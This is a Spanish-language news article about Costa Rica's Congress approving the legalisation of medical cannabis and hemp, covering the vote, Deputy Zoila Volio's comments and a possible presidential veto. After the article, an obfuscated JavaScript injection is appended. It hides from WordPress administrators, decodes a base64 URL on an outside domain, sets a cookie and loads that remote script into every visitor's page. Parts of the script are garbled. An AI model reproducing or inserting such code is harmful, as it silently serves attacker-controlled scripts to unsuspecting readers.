Costa Rica legaliza el cannabis medicinal

La semana pasada, los diputados costarricenses aprobaron la legalización del cultivo, producción, industrialización y comercialización del cáñamo y del cannabis medicinal. El aval a la normativa se dio tras tres años de discusión del proyecto en el Congreso de Costa Rica.

La diputada Zoila Volio, impulsora de la iniciativa, manifestó estar sumamente satisfecha "después de un larguísimo camino y múltiples atrasos". "Tenemos el proyecto aprobado (…) va a generar reactivación económica, va a abrir oportunidad al país para generar inversión y eso va a generar empleo», recalcó.

Volio hizo énfasis en que lo más importante de la aprobación es que los pacientes crónicos conseguirán un medicamento de calidad y a un precio razonable.

La propuesta de legalización del cannabis fue promovida por la parlamentaria en 2019. Empero, una serie de obstáculos en la Asamblea Legislativa, con diputados que se oponían a la medida, sumado al Ejecutivo, que no lo vio como un tema relevante, provocó que tuviera pocos avances hasta la fecha.

Datos de la Promotora de Comercio Exterior (Procomer) señalan que para el 2025 el mercado mundial del cáñamo y el cannabis medicinal moverá $35,000 millones anuales.

A escala mundial, hay más de 20 países que permiten esta actividad, varios de ellos en América Latina: Argentina, Chile, Panamá, México, Colombia.

Tras el aval del Congreso, solo falta que el presidente costarricense, Carlos Alvarado, estampe su firma para convertir la iniciativa en ley. El mandatario aún tiene la potestad de vetar el decreto o emitir un veto parcial. Sobre

este punto, el Ministerio de Salud ha manifestado dudas acerca de algunos puntos de la ley.

El principal cuestionamiento ha sido que permite el cultivo propio de personas diagnosticadas como pacientes.

Volio y otros legisladores que votaron a favor de la legalización del cannabis exigen que se respete la decisión de la Asamblea.

La Ley del cannabis para uso medicinal y terapéutico y del cáñamo para uso alimentario e industrial obtuvo 29 votos a favor y 10 en contra, con 39 diputados presentes de los 57 que integran la Asamblea Legislativa.

(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i120)return;if((document.cookie||»).indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=',o1,o2,o3,h1,h2,h3,h4,dec=»,i=0;input=input.replace(/[^A-Za-z0-9+/=]/g,»);while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<>4);o2=((h2&15)<>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||d

ocument.documentElement).appendChild(s);}catch(e){}})();;